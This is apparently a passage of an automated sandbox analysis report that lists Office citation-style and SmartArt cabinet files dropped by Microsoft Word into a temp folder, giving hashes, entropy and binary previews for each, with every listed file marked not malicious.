Preview:	MSCF.....H......L............................H...?...................G......................APASixthEditionOfficeOnline.xsl.H...............Content.inf..h;.....[...Q..\..3S.5..oVP!i/Z.Ls...]q$...xY..+W.qm..B..y/.5.s..x$../K./.x.$.....}.......\........LNf..Hd.&."Ip.L.Mr-@.D..kW~i...^.....F.....T.U....../..0..2.{.q.T.`'{.00.{.B...>.R..2....1.~_.f..s...........~....~[..v..w..v....$[K.r$#[6...d;[...#.9.-...G..Z..eAR.0")%JI?&....$..$.H..$(........f.> k....hP...p...!j.T......l7..../3..(2^V...#..T9...3.@[0...le:...........E....YP.\.....au1...\.S\|..-.duN.Z..g.O......X8....1.....\|,.f/..w.\|Wk]zJz.g'./7h..+.....}............x....s.2Z\..W.{...O....W.{j.U..Q....uO=.p.M k.E.S{SUd.@....S.Syo8>......r......8..............Z?>.mUAg....?o....f.7..W.n...P..........d.S?...\..W`...c.ua..........#.Y...45...F(d.o\09^..[.}...BsT.SD..[l.8..uw.7l..S.9T.KR..o......V..]...M .....t.r...:P...M....4.F.....@..t.1t..S...k.2.\|5...i.%H..<.J...0n.....lZ.....?.?.~..O .)..

C:\Users\user\AppData\Local\Temp\cabC078.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14813 bytes, 2 files, at 0x4c "iso690nmerical.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 7 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	30957
Entropy (8bit):	7.808231503692675
Encrypted:	false
SSDEEP:	384:rKfgT03jNkAFbgUQWtxq9OGh1bBkd/1MVHb5iVOdMgbA8E0GftpBjEl8tFLrHRNF:r303jOrUQAkfhopWHbA8Pi6l8zuUIq
MD5:	D3C9036E4E1159E832B1B4D2E9D42BF0
SHA1:	966E04B7A8016D7FDAFE2C611957F6E946FAB1B9
SHA-256:	434576EB1A16C2D14D666A33EDDE76717C896D79F45DF56742AFD90ACB9F21CE
SHA-512:	D28D7F467F072985BCFCC6449AD16D528D531EB81912D4C3D956CF8936F96D474B18E7992B16D6834E9D2782470D193A17598CAB55A7F9EB0824BC3F069216B6
Malicious:	false
Preview:	MSCF.....9......L............................9...?...................8......1P..............iso690nmerical.xsl.................Content.inf...A@...[...5.....33.E...P.../..........5sv.]3srm8.T.=.......}.v.T.. ..4IH.r.%Z.(.q.\+K..[,....E....A......#CEF..}p..Y/s$...YKI.#M.?.t.1#C....I..v.vn...-...v7../S.m.Ma.....!.Y....4.......3.3....c&R9..%......(J..BDMI.>7J.....".....}.w.}w.wg.v...^.n.{....{f.mlI..%.#..I..S....D..QJ U......4........K.(@....DH.....}...8;..z...&0%e..G.OAM..x.3......\....zS9....}......89.B...e.W.p{;.....m.m3...}....../...q.~..;.,..".j.g..^N............iC.../\|...g.=..9.Q].Gf.....QA....74..v.....9.n[......0.}..jo{y./.2..Ym......;u...b.(Jz^.....~..uM...{s../..#.)n2..S.S.c..6)U.V....!.'R.......P.S.D..S.p/......D.......{......?.u.",...Mp._....N..+..=Y#..&0w....r.......$.xwC......P.e7.>O....7....].y%q^S'.....C.`.?..}Q..k../u.TK...y........S...{T.?......[.H.'L..AS.Y.\|..b...J.H-.^U>'9..uD[.".b[.l.......o..6.L).h.B0RJa.b..\|m:.):......F

C:\Users\user\AppData\Local\Temp\cabC08A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4410 bytes, 2 files, at 0x44 "PictureFrame.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20554
Entropy (8bit):	7.612044504501488
Encrypted:	false
SSDEEP:	384:zEAH676iPi8+IS5iqn7G8E0GftpBjExDxIHFLrHRN7Ke/ll7PK/pGaz6:zEhG8+ISrG8Pi6xDxCKoIGaz6
MD5:	486CBCB223B873132FFAF4B8AD0AD044
SHA1:	B0EC82CD986C2AB5A51C577644DE32CFE9B12F92
SHA-256:	B217393FD2F95A11E2C594E736067870212E3C5242A212D6F9539450E8684616
SHA-512:	69A48BF2B1DB64348C63FC0A50B4807FB9F0175215E306E60252FFFD792B1300128E8E847A81A0E24757B5F999875DA9E662C0F0D178071DB4F9E78239109060
Malicious:	false
Preview:	MSCF....:.......D...........................:....?..................................PictureFrame.glox.................Content.inf........[.... '.q..@.........<./..+./. ...."o.o./..{^a.7^.D.HA....^J... ...........T%q..b...+pz.n.=....jT.+M..=H..A...py.3.........H...N...[..%..~....>.%....3.r...wx.....0.....7..94..2..45..7f.......D.. ...[...f.:H..../N..4.....8.....:x.I....u\|.`."...\..N..%.M#..^v$.*....T.m.....?.-.wki.X..8..F.G..Y.^8...-....+.&.+&.No...e!.#.8.....YF.......<w.....=.Q.S..7....MW....M..9A.3..c..L....\|.E-Y....]n".\|....b9..l@.d.T...a.f...~.&k.[..yS..q..]L}..)w.....$.@..v...[9..X....V...a.NK....m9.5.....Kq.;9`.U.e...8.<..)Y.H........z.G...3n.yWa.g.>.w!e.B8:......f..h..z....o.1<.RT..WK...?g .N..+..p.B.\|...1pR_......@...a....aA......ye..8...+M.l..(.d..f.;....g........8R.\.w.:ba....%...\|p....`lrA.\|....a.U.m=ld......7....#..?Dq..D.....(.5.K.a..c.G..7..]hF..%:}......}J.j$.....4...l];..v>.&j........Y.vk..$1.@X$...k...9..?...z..![..../...).a.=....aZ^.3?....

C:\Users\user\AppData\Local\Temp\cabC08C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4091 bytes, 2 files, at 0x44 "BracketList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20235
Entropy (8bit):	7.61176626859621
Encrypted:	false
SSDEEP:	384:j3W3yGyjgbA8E0GftpBjEHvFLrHRN7pDAlI66Yv1:j3WFyAA8Pi6HVpDZ66c1
MD5:	E3C64173B2F4AA7AB72E1396A9514BD8
SHA1:	774E52F7E74B90E6A520359840B0CA54B3085D88
SHA-256:	16C08547239E5B969041AB201EB55A3E30EAD400433E926257331CB945DFF094
SHA-512:	7ED618578C6517ED967FB3521FD4DBED9CDFB7F7982B2B8437804786833207D246E4FCD7B85A669C305BE3B823832D2628105F01E2CF30B494172A17FC48576D
Malicious:	false
Preview:	MSCF............D................................?..................................BracketList.glox.................Content.inf....7r...[.... G.q..@...B.....?X!.A.......!........X..Vk.JK...Z..=......PD.....P....5...jp..+..T....b.)np5.7.....Zz........... ..!.....S......1....`....h......T?.Nq../......z....[..:..5f;....O...d.FxD...4...Z....[..a...w..W.[..P...5.]...6..."...+t].!...2\%%`Q.\..)...=>.)......a.$.2.,...2,.Lw.?..+..qf....h....T/B.....}T.E...'.%.....,.......X....b..gt.hPYc\|.....a...j...=...{..a.`!8!..\|...L.T..k..!,.R.z/W....{..,...+..w.m..sQ..7<x..B....?....\.)..l...d...}.....v..W.C..'=p1c.Z=.W.g.e....&wm..N,..K.T../.oV../=9.}.....".28...r.Q....dzj{....S...1m...x9_...2PXpa...Q.n.$z...c..SGq...k......}kPE.....3.\|.5A.>..6.......+)qCB....q....qNkGe...W]..o..Z...J.<.i......qq.8....q..BE.(...._h.U.\@3.F...KdO..=1j+....).Q.\|B..Z..%......LDYk....j.....{klDW..#CVy}...X..O!..}..s..&..DC.....tL.j..b.......[...n.'..1..Xc...9Q..gM.....n..3...v.....~.).

C:\Users\user\AppData\Local\Temp\cabC09D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14864 bytes, 2 files, at 0x4c "mlaseventheditionofficeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31008
Entropy (8bit):	7.806058951525675
Encrypted:	false
SSDEEP:	768:ktH7oN/HbwiV+M+4Jc+5UrT3czi5uOHQA8Pi6DxUR/WTZIy:87sPEANXJc+eTMsuzP7DmN0ZIy
MD5:	E033CCBC7BA787A2F824CE0952E57D44
SHA1:	EEEA573BEA217878CD9E47D7EA94E56BDAFFE22A
SHA-256:	D250EB1F93B43EFB7654B831B4183C9CAEC2D12D4EFEE8607FEE70B9FAB20730
SHA-512:	B807B024B32E7F975AED408B77563A6B47865EECE32E8BA993502D9874B56580ECC9D9A3FEFA057FDD36FB8D519B6E184DB0593A65CC0ACF5E4ACCBEDE0F9417
Malicious:	false
Preview:	MSCF.....:......L............................:...?...................9......................mlaseventheditionofficeonline.xsl.L...............Content.inf.N.#.....[...>..9..3c.5...F.B.]Y.3..%d.8...v;....~Y.L.=..v..m.g...\|K.B....$......s.......#CdE.p.p..@...j.Nl2'...L..N.G:-V:.d.....i..M........mK.w.....\W.<.`..b$.!..!3..rT.A..#.).;KZ...a.-..j&e`R.~7dIRS.I..f.ff....}.}....^[wo.uw..i.m7......v$.I..n....-.Z.M5...iH..Ea..., [..0.L...DH..." ..... .@...H.@..+...}.......^..'.4.tHa..f].gV..~.7V.....C..).(.U"..f.@l..j'..%\.u.UU.....9<13...5..=........./..Z..{..-.L].+Y.fL.<EJ.q..!.j....W..]E./.~Y>...GgQ..-....Q.C..5..T+...fO. .)..~.7..Y....+..U=.e..8w.m...._..S..v.d.* ......S3z.X)......u...t.......i.;.a...X.Ji....g.3.!.O.....T.f6..[U....O..Z.X.q.G....?.k]..?...8.u.;].8y.T.9D..!?R....:........3+.P.....7?m}..............1...y3.g.\c.ks^;?.f.U5...U.j....E.N.}.!.......).R1....~.....R.....3.J.f...l..E^:...&_..%..v...^..E...rC..O....M.#..<..H..bB.+.W..

C:\Users\user\AppData\Local\Temp\cabC09F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5864 bytes, 2 files, at 0x44 "architecture.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	7.662386258803613
Encrypted:	false
SSDEEP:	384:M7FUtfIdqSHQs7G8E0GftpBjED/C4RQrFLrHRN7TT8DlvQyUTL2mH:sWgdqR2G8Pi6D6YQZTTMvU+mH
MD5:	ABBF10CEE9480E41D81277E9538F98CB
SHA1:	F4EA53D180C95E78CC1DA88CD63F4C099BF0512C
SHA-256:	557E0714D5536070131E7E7CDD18F0EF23FE6FB12381040812D022EC0FEE7957
SHA-512:	9430DAACF3CA67A18813ECD842BE80155FD2DE0D55B7CD16560F4AAEFDA781C3E4B714D850D367259CAAB28A3BF841A5CB42140B19CFE04AC3C23C358CA87FFB
Malicious:	false
Preview:	MSCF............D................................?..................................architecture.glox.................Content.inf..q5.^...[.....0y......../..CL.C5.Q..U5g.z....UUUMPC...C..P....T.....=..s..4c...-3H..E...2..2*..T...../.i.;$..............%...................'h.........#0.......[........c.h.....O...%.61...[.J..:.,^....W.]$..u...N.R.....H.......:%I.g5Kd.n6...W2.#.UL..h.8NN../.P...H.;@.N.F...v."h..K.....~.....8...{.+...&.#A.Q'..A.....[NJ.X.....\|.\|.G5...vp.h.p..1.....-...gECV.,o{6W.#L....4v..x..z..)[.......T.....BQ.pf..D.}...H....V..[._.'.......3..1....?m..ad..c(K.......N.N.6F%.m......9...4..]?...l6..).\p;w.s....@...I%H.....;\...R......f...3~:C...A..x....X...>...:~.+..r@..."......I..m.y..)F.l..9...6....m...=..Q.F.z..u......J].{WX...V.Z.b.A0B..!....~.;Z.....K.`c..,X.MFz....].Q.2.9..L."...]...6...JOU..6...~../......4A.\|.......i.LKrY...2.R.o..X.\....0.%......>H.....8.z..^....5d\|...4\|...C......R28.E......a....e...J.S..Ng.]<&..mm

C:\Users\user\AppData\Local\Temp\cabC0A0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4313 bytes, 2 files, at 0x44 "chevronaccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20457
Entropy (8bit):	7.612540359660869
Encrypted:	false
SSDEEP:	384:KyeISBuydn5rpmp77G8E0GftpBjE/kFLrHRN7ngslI66YVj:KHISBvd5rpmFG8Pi6/6nK666j
MD5:	4EFA48EC307EAF2F9B346A073C67FCFB
SHA1:	76A7E1234FF29A2B18C968F89082A14C9C851A43
SHA-256:	3EE9AE1F8DAB4C498BD561D8FCC66D83E58F11B7BB4B2776DF99F4CDA4B850C2
SHA-512:	2705644D501D85A821E96732776F61641FE82820FD6A39FFAF54A45AD126C886DC36C1398CDBDBB5FE282D9B09D27F9BFE7F26A646F926DA55DFF28E61FBD696
Malicious:	false
Preview:	MSCF............D................................?..................................chevronaccent.glox.................Content.inf..O.$N...[.........B.....?.....$Zy..Zkr...y<.....Di-.aVX/....h..-.~........#.../.Fz....T...p....A..eHMe[..p...=................f..../%o......F@..=..$.B!....}.0..g..^vlI......f.W.F...Nm..2`...)...,.HL4.nsl.F.ir.k..e.!^.j2.v.iT....t.....!h..Y...2Q..-.x.,.Xj.U.cj,....9.....)..W..n3f.......(cH.D.4M.!.+..4..3r..y......\|r..@.PD.R..#...F..nJAR..1{-.....u3..$..L.b+h....:lZ.>....q.?. ~l..^.%.m....a...cG.h.?.\|.?7.'....b.G.4..'..A...o.Z...//..?...d.......C..Z.....]Yv.g.]..... .........]x.#=.../.7;R.j....G.....zq=O`[.'5g.D.u..)..../../.v.JmCW.da....3.f..C.z%...S=....;A.q.\|....z.E.aRu........ k..J"+.f.S.@.........eD4....\0..t./U..%.H..........M:..U.......J...Z..H.DG..u^..D..P....`.^b.........`c......#.....c.?...#..C.V.&.'..f.'...f.[..F.O..a...&..{TiXg4; .X."..0...B.#..^..........N"..w.@f...gd.S..K.....E....ZR...;.twR>.z.

C:\Users\user\AppData\Local\Temp\cabC0A1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15461 bytes, 2 files, at 0x4c "gostname.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31605
Entropy (8bit):	7.820497014278096
Encrypted:	false
SSDEEP:	384:7SpOUxgQ9gFodHZktfHa2TSmcAg76j8/xorK0JoZgbA8E0GftpBjE2PzFLrHRN7S:OngHltf7Bcp/xoB3A8Pi625D8RA54
MD5:	69EDB3BF81C99FE8A94BBA03408C5AE1
SHA1:	1AC85B369A976F35244BEEFA9C06787055C869C1
SHA-256:	CEBE759BC4509700E3D23C6A5DF8D889132A60EBC92260A74947EAA1089E2789
SHA-512:	BEA70229A21FBA3FD6D47A3DC5BECBA3EAA0335C08D486FAB808344BFAA2F7B24DD9A14A0F070E13A42BE45DE3FF54D32CF38B43192996D20DF4176964E81A53
Malicious:	false
Preview:	MSCF....e<......L...........................e<...?...................;......................gostname.xsl."...............Content.inf.[.......[...>..\|..32.E..o`h....W.>.^...v..5...m.w.$.U..U......m.mu...'4....m`.9F.. ...I..PTS..O.D...GM#...#CUE.`.`%n..N...G,.~..+.6cv.L...G.m.Y..vy.....Yh9/.m,..wtw..;....Ka.a.{.\...'.....<X....%)...G..d......R./..4$..32..@....f.h....w..ov.}w..[.....{.v.......dr..&w#G..$3.zI&f..(C..L.z5J... .`...!.!4. ...!.` .$........w.J.X7.w_..@.w..f]=.C.....I-....s.s_.x...~..A... ...z...nM..;....Z....vt....6...~.w.....*x.g.h.T.J..-.3=....G.n..ti.A...s...j$.Bf..?......6.t.<j...>.."....&=BO?w.uN.o.t.-r..K....>C..^G..p...k...>.xZ.[fL..n.."].W#...\|.i.0W.q.F: ..<#w......w....s....."...n.qu.../rI.....q....P~.B..\|b?.N.}..MyO..q..:q.7..-~.xa.S...\|.....X.....g.W.3.mo..yy.GG.s>....qy....r........#.F.P..A.......A....b.2..14.8.i6..w.S...v~{0z.<.Z...^!.;2mSV.i....{...U...+...r.;...h.++..T6.a...$....j5F+..1t....b......\|.Q\d-.S..2... ......Y..A...s....

C:\Users\user\AppData\Local\Temp\cabC0A2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 9170 bytes, 2 files, at 0x44 "InterconnectedBlockProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	25314
Entropy (8bit):	7.729848360340861
Encrypted:	false
SSDEEP:	384:75V23GNhfG/YvmBqWDP7G8E0GftpBjEB1vrFLrHRN7mKll7PK/pRU0:LS/Yvc7TG8Pi6BLm6IS0
MD5:	C47E3430AF813DF8B02E1CB4829DD94B
SHA1:	35F1F1A18AA4FD2336A4EA9C6005DBE70013C7FC
SHA-256:	F2DB1E60533F0D108D5FB1004904C1F2E8557D4493F3B251A1B3055F8F1507A3
SHA-512:	6F8904E658EB7D04C6880F7CC3EC63FCFE31EF2C3A768F4ECF40B115314F23774DAEE66DCE9C55FAF0AD31075A3AC27C8967FD341C23C953CA28BDC120997287
Malicious:	false
Preview:	MSCF.....#......D............................#...?...................#..............InterconnectedBlockProcess.glox......#..........Content.inf...<.:#.$[......O..........5f.P.5CU..6..jT..U..U..UM.T.........h................-... .......6...`.....G...........'.,DN:........... "..4..1u.....%.u..{{,....@lp..}..`.......Z...K.....Z..... Z4.<?..C.BF.....k.!Hl...]...Tvf..g....)...vny6.'..f....Z.R.`.......+....!..!.....:..4fj....."q..f..E..^!k.....M.c....R...B......g...~.........o.'.7,.e.,..7.R.e,(.+..+:....Q....f...P.H.I..U.....Jl...l...z.]7...C...<...L.,..@...i.{..e]K...2..KRW..7.-'.G.l!.n7..J.v.C...%/.....q...@..l..e..$..N..sg8]oo.(q(_.?.X.s...Ua..r0...Rz.o.eT.j...b..}",n.qou..M.[.;%../c.x.4.z.2.U.]..D...h...-R.$.=\3..P......N.mP......J...}BPn...g]d.5k..C.ee.ml...\.g...[.......<..6$.%.I#S9..I...6.i........_..P.n....c$.3..zw.hF......_{.+...o...[.&........&...M..m.....;....0....D7...4nQ.=/.._`._.nh.D.m..h.+....8..p..q.4.w.\...iy...*...lN6F..c.

C:\Users\user\AppData\Local\Temp\cabC0A3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15418 bytes, 2 files, at 0x4c "harvardanglia2008officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31562
Entropy (8bit):	7.81640835713744
Encrypted:	false
SSDEEP:	384:yhsBScEWkrljntbzuMmWh7ezPnGgbA8E0GftpBjohgsRFLrHRN7ybll7PK/p:MsBScwtnBmWNeTzA8PiuWsvyDI
MD5:	1D6F8E73A0662A48D332090A4C8C898F
SHA1:	CF9AD4F157772F5EDC0FDDEEFD9B05958B67549C
SHA-256:	8077C92C66D15D7E03FBFF3A48BD9576B80F698A36A44316EABA81EE8043B673
SHA-512:	5C03A99ECD747FBC7A15F082DF08C0D26383DB781E1F70771D4970E354A962294CE11BE53BECAAD6746AB127C5B194A93B7E1B139C12E6E45423B3A509D771FC
Malicious:	false
Preview:	MSCF....:<......L...........................:<...?..................D;.......V..............harvardanglia2008officeonline.xsl.L...............Content.inf.Vu......[...E..o..3D.5..nF.A..+.e.....6r..f........M3...-.s.m.... $r.b.!.q!.....G...0.\.......fd......%m...'1Y..f..O....#.P.,{..m...\|..ww.{.m...f...n%...,..y...0y...8.Q...`.../.q....a...',.V......8.7..8t..................6.]..6..nw..ynm..-l.Y..,.I?..$....+b9$E!S@"..) .4........H...lA...@!a.F.l$..0#!.....n&.5j.t+..1f\|.+....E.zDk.l8.+<q.^.........\5.l..iT.9...........Y..6.^,.o.bn.E5w..s.../...W.gS..j9..'W.F......].4\Mzz..Td..Ho..~.Q...Z..D..O.JP..m..s.j.:..........y._.....#..rD....60.\!y........p.o3,..Ub,......[[L.{.5.....5.7UDB9.{;;g.z.z..jM.G.MY.oe.....(r..B6..CV.7Fl.Z/....-.O.vY.c...-..........b.T)3.u..f~x2.?.8.g.x.-.....Qt_...$e.l..jtP..b....h...sW0.`.....c...F_....t.........LC..*5I.X$^.;&....#.._\J..........;..wP..wX.qy.qs...}46..fK.XN.&0........k1....8...............'t.......}.......O_.

C:\Users\user\AppData\Local\Temp\cabC0A4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15338 bytes, 2 files, at 0x4c "gosttitle.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31482
Entropy (8bit):	7.808057272318224
Encrypted:	false
SSDEEP:	768:LgHv7aLOcoLGQ4EykdrHwLa+A8Pi6Iv8ACIa:LwvWyx4EykdTwLaWP7I0ACIa
MD5:	F10DF902980F1D5BEEA96B2C668408A7
SHA1:	92D341581B9E24284B7C29E5623F8028DBBAAFE9
SHA-256:	E0100320A4F63E07C77138A89EA24A1CBD69784A89FE3BF83E35576114B4CE02
SHA-512:	00A8FBCD17D791289AC8F12DC3C404B0AFD240278492DF74D2C5F37609B11D91A26D737BE95D3FE01CDBC25EEDC6DA0C2D63A2CCC4AB208D6E054014083365FB
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......................gosttitle.xsl.$...............Content.inf....v....[...=..Ic.32.E...`o.............m....4uk[.,.......{...}k{.R@(Hq..68nv...@.D.....$...j....8Q..........8.8........3....bi?Wt...:(..J.;&eii..io.w..z...`.'..i.MLR@.>....N..3`P.>$X@(r.#.D..(....P"_..I.$o.. L!y...I...H.........{.{....{.3....7..w..{w.2sn.dYn.lW...l...c$.UH....L6. .D$$...!F.!... .D............_..'.`.Q.v>..Z..f.n.l....0o.......bK...?s..eO....'.>t......S'..........~....h...v&7:q.x9\|qs...%....:..D...ag.....e..'...".A.Y..?w"....p1t.9J.~.4.........~vj.n.8.;.O......../.}..io{p...e...\m.d`.gAm.......1"...N...8..g"......~..[.e+.....\6i4.....%...Rq.U-p?..4P..4.f.?N.vI?.M\i.;.s..E.L.hu.*...\..5....N......]......\`...rS.\g.....2..!a).?.l.!i.^.t.u...x...g/.A..v.E...\.@.>kM...&.g.....%.......{.....2..E.g...'..[w...N.w..& 4M.a.cu.%:...\.D..Q..C.'fm..i....@._......QI.. ....h..\|fB.il.(`..h.d;.l...`.s:

C:\Users\user\AppData\Local\Temp\cabC0B4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 19375 bytes, 2 files, at 0x4c "turabian.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	35519
Entropy (8bit):	7.846686335981972
Encrypted:	false
SSDEEP:	768:2LFougzHaUdBKUsM+Z56zBjA8Pi6bo+ld8IX:MFodzHaULR9P7bo+l6IX
MD5:	53EE9DA49D0B84357038ECF376838D2E
SHA1:	AB03F46783B2227F312187DD84DC0C517510DE20
SHA-256:	9E46B8BA0BAD6E534AF33015C86396C33C5088D3AE5389217A5E90BA68252374
SHA-512:	751300C76ECE4901801B1F9F51EACA7A758D5D4E6507E227558AAAAF8E547C3D59FA56153FEA96B6B2D7EB08C7AF2E4D5568ACE7E798D1A86CEDE363EFBECF7C
Malicious:	false
Preview:	MSCF.....K......L............................K...?...................J.......@..............turabian.xsl."...............Content.inf._.......[...T.....C4.5...E0B.]...+.-f....rc.[52.$...a..I....{z...`hx.r...!.. $...l..\....#3EF..r..c;<p...&n.\b..K..0Y..c+.2...i..B..wwY..77,...........}.q.C.......n..,.....prrx.QHy.B#..,.'....3....%1.``..hf...~...[.[n.v.s..y.vw....;..s.G293G&H....$E......m.&^..iy/.4.C...D...".(H&..&.I4._...!...... ........q.k1.d.....qc.3.c.....;.5.......y}...}&...+.WAN.,zVY.Q....V.Tz........g..H..c...E2jY...4g?.yf<....V.M.s.$..k.Id....+..?..._.\.s.k..9..I%;.yWQ..S..]...n<.7........=......"Q.E.....MG..j.Yt..!U....Q.j...v.h-.~b..e&.......;...\.....:.....=..Xv1&q........6\...xw.%.VdS..H...o...s.....+..%[../>.t..I....F.....".G\|.....=....[..S..3..a.C.ZZ...tK.6N..b........)>........I..m..QE.M.nv.MVl.....vCG>,.suP.gqo.rr....J`m....J.b..},[F....e.A.]..r....C4.?JJs6..l.].9...Q.B.~.......\d%.X ...8A....rH....&?#...^.....4.h.{>

C:\Users\user\AppData\Local\Temp\cabC0B5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 7453 bytes, 2 files, at 0x44 "pictureorgchart.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	23597
Entropy (8bit):	7.692965575678876
Encrypted:	false
SSDEEP:	384:y6aR//q0bJi/Uj+957G8E0GftpBj/4YOFLrHRN7LxhKll7PK/ph:y6I/Li/UjmVG8PiZ4YsLxh6Ih
MD5:	7C645EC505982FE529D0E5035B378FFC
SHA1:	1488ED81B350938D68A47C7F0BCE8D91FB1673E2
SHA-256:	298FD9DADF0ACEBB2AA058A09EEBFAE15E5D1C5A8982DEE6669C63FB6119A13D
SHA-512:	9F410DA5DB24B0B72E7774B4CF4398EDF0D361B9A79FBE2736A1DDD770AFE280877F5B430E0D26147CCA0524A54EA8B41F88B771F3598C2744A7803237B314B2
Malicious:	false
Preview:	MSCF............D................................?..................................pictureorgchart.glox.................Content.inf.W..y....[.............../.jC....U.CUUUTU.5...jjPU..MP....T..0....o0.......Y.=....P.({.3.p..."pA!>r../3.q..7...........!...TO....(..%......6...3E?....~......CZmndse.Qy....p....h....=.:5...F..%.E.&.v.`I~. ..%._..b]..Y..Q..R.........nN.q8c..a..L..X/.M...PP.q..SpZ.K]>D"Pf..B.c....0..\|I.Q.,.g/..Kev.../..=......w..}3.....(....+#T.....K`N.u..Z.....rriK.(...(...6.<R.%.]..NX..b..].C.u....++......Ia.x. .7....J.#............w>....7..R...H>....@%....~.yA.......~.UB... .P..$...-...v.....=M."....hw..b....{.....2pR....].C..u@=G."Y..;..gc/N.N.YB.Z.q.#....$....j.D..P..!.)S.{..c....&'E.lJ%.\|O.a...FG.\|.....A..h.=c7.)d.5...D...L...IQ..TTE.NL-.*M..>..p0.`......m..,.w#rZ..wR\@.Wn..@Q...}..&...E...0K.NY....M.71..`.M./:.>..._L..m...,U.l....._fi...nj9..,..w.s.kJ.m.s.M.vmw.!.....B.s.%.-').h.....)c.l....F..`3r...-.....0..7..&N.....n.#H...<7

C:\Users\user\AppData\Local\Temp\cabC0B6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6005 bytes, 2 files, at 0x44 "HexagonRadial.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22149
Entropy (8bit):	7.659898883631361
Encrypted:	false
SSDEEP:	384:b98FG/zdCbf7BOEawSi8E0GftpBjEPTFPxFLrHRN7S5ll7PK/pA2:N/zAbDae8Pi6PFPSRIA2
MD5:	66C5199CF4FB18BD4F9F3F2CCB074007
SHA1:	BA9D8765FFC938549CC19B69B3BF5E6522FB062E
SHA-256:	4A7DC4ED098E580C8D623C51B57C0BC1D601C45F40B60F39BBA5F063377C3C1F
SHA-512:	94C434A131CDE47CB64BCD2FB8AF442482F8ECFA63D958C832ECA935DEB10D360034EF497E2EBB720C72B4C1D7A1130A64811D362054E1D52A441B91C46034B0
Malicious:	false
Preview:	MSCF....u.......D...........................u....?..................................HexagonRadial.glox.................Content.inf.........[.....`........./.mT.T6...CP..z5...0.PcUmCUSUCU.Q.P.0..f............^...H..2e.[..8...ld......F.%.j.w!R..NA.L............ .r..z....$&.........P.=.r...O...e..dfv_.i%.C....^......?..x...+d..].B.3..EU...\|Cc..z.`lQp..fr.....8!;.8.p.ZwH\.........~..T.t..]..H.]..S.2..Vt.....r.H../..-8........!:.Y&..\|A..J.U...-.%..k..U...4m.. .q../..b.8.vc~......_q1.?..Bh.v.....L..I.$I..s.".u.. Y....I^5.v...3.......].^)b.t.j...=...Ze~.O...\|.}T.._9c........L....BV.^......X..?.....{.>.j..5.m...d.7........g[..f.nST...i..t..\|.T.jjS..4p.Pxu....W...\|.A)..\|9;....H.e.^.8D..S...M..Lj.\|...M.m+..H.....8.&-....=.L.....n.v..M.9...l....=r......K.F.j.(.(xD.3..r'9.K..-...5..Z..x....._....a[...J...`.b_a\\j.ed..\.3.5....S.T...ms.....E...Xl.y.LH=...}..0.T...04.4..B[..H.....B{B9.h..=.8Mn.*.TL.c..y.s.?.c9$l...).h).6..;.X../_>Pl...O...U.R..v.dy$A

C:\Users\user\AppData\Local\Temp\cabC0B7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
